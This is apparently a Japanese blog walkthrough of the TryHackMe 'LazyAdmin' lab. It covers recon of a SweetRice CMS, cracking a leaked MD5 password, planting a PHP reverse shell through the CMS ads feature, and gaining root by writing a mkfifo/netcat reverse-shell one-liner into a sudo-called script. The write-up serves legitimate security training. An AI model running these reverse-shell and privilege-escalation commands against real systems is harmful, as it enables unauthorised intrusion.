TryHackMe(THM):LazyAdmin

目次

Task 1 Lazy Admin

 

What is the user flag?

とりあえずnmapを実行します。

nmap -sV -sC <$IP>

f:id:akebono-haze:20210404170336p:plain

22番(ssh)と80番(http)の2つのポートが解放されています。

80番ポートが解放されているので、とりあえずブラウザでアクセスしてみると、Apache2のデフォルトページが表示されるだけで、コンテンツは表示されません。

「gobuster」を実行して隠されているディレクトリを調査します。

gobuster dir -u http://<$IP> -w /usr/share/dirb/wordlists/common.txt -t 40

f:id:akebono-haze:20210404170820p:plain「content」ディレクトリがあることがわかりました。

ブラウザでアクセスすると、「Sweetrice」というコンテンツ管理システム(CMS)を使っていることがわかりました。

f:id:akebono-haze:20210404171204p:plain

searchsploitを使用して、それに関連する脆弱性をチェックします。

searchsploit sweetrice

f:id:akebono-haze:20210404171208p:plain

いくつか表示されている脆弱性から「backup disclosure」を使用してみます。

Webサイトのバックアップにアクセスできるということは、作成されたアカウントを表示できることを意味するからです。

脆弱性の情報を確認するために40718.txtファイルの中身を確認します。

f:id:akebono-haze:20210404171213p:plain

http://<$IP>/inc/mysql_backup」にアクセスしても見つかりません。

f:id:akebono-haze:20210404171217p:plain

dirbの結果を見直すと、/content/inc/ディレクトリがあるので「http://<$IP>/content/inc/mysql_backup」にアクセスしてみます。

f:id:akebono-haze:20210404172026p:plain


mysql_bakup_20191129023059-1.5.1.sql」ファイルを開いて中身を確認すると、phpスクリプトが記述されています。
insert文の中を見ると、ユーザ名/パスワードの組み合わせらしきものがあります。

f:id:akebono-haze:20210404172152p:plain
パスワードはMD5ハッシュ値らしい文字列なので、CrackStationにアクセスして、逆変換します。

crackstation.net

f:id:akebono-haze:20210404172509p:plain

これらの資格情報を使用して、/content/asでCMSにログインできるようになりました。

 

何をすればいいのかわからなかったので、先人の知恵を拝借すると、リバースシェルを設置してコマンドラインからアクセスできるようにするみたいです。

新しくコンソールを起動してnetcatコマンドを実行します。

nc -lvnp 4444

CMSにログインして、左側のペインから[Ads]をクリックします。

「Ads name」には、「reverse_shell」

「Ads code」には、PentestMonkeysGithubの「php-reverse-shell」のコードを貼り付けます。

github.com

その際、IPアドレスは自分のKaliのIPアドレス、ポート番号はnetcatで先ほど起動した指定したポート番号に書き換えます。 入力完了後、[Done]ボタンを押下します。

f:id:akebono-haze:20210404221551p:plain

アラートメッセージが表示されますが、無視?してブラウザのタブを新しく表示させて http://<$IP>/content/inc/ads/reverse_shell.php にアクセスします。

netcatコマンドを実行させていたコンソールを見ると、アクセスがあったことが確認できます。

f:id:akebono-haze:20210404222158p:plain

ディレクトリを移動すると、user.txtファイルを見つけることができたので、catコマンドで中身を確認します。

f:id:akebono-haze:20210404222332p:plain

What is the root flag?

特権エスカレーション方法を見つけるために以下のコマンドを実行します。

$ sudo -l

rootとして実行できるperlスクリプトがあります。(backup.pl)

f:id:akebono-haze:20210404174210p:plain

このスクリプトには書き込み権限がありません。 

f:id:akebono-haze:20210404173944p:plain

中身を確認すると、1行のだけコードが書かれていて、/etcにある別のスクリプトを実行します。

f:id:akebono-haze:20210404173950p:plain

このスクリプトには書き込み権限があり、ルートで実行できます。

f:id:akebono-haze:20210404173953p:plain

しかし、中身を書き換えようにも「vi」も「nano」を使えません。

f:id:akebono-haze:20210404173956p:plain

ここも先人の知恵を拝借すると、難しいことをせず、catコマンドで中身を確認して、その行をコピーして 「echo」コマンドを使います。

表示された内容をコピー&ペーストした後に中身を変更し実行します。

変更点はIPアドレスを自分のkaliのIPアドレスとポート番号は先ほどnetcatコマンドで使ったポート番号以外にに変更します。 (同じポート番号でも大丈夫かな?) 最後にリダイレクトを忘れずに!

 echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <$IP> 5554 >/tmp/f' >/etc/copy.sh

f:id:akebono-haze:20210404190032p:plain

新しくコンソールを起動してnetcatコマンドを実行します。

$ nc -lvnp 5554

 元のコンソール(リモートマシンに接続しているコンソール)に戻って「/home/itguy/backup.pl」ファイルを起動します。

「/etc/pass.sh」ファイルではありません!

$ sudo /usr/bin/perl /home/itguy/backup.pl

 実行後、先ほどnetcatコマンドを実行したコンソールに戻ります。 接続してきたユーザを確認し、ディレクトリを捜索していくと「root.txt」ファイルがあることがわかります。

catコマンドでファイルの中身を確認するとフラグを見つけました。

f:id:akebono-haze:20210404222509p:plain

 

完了!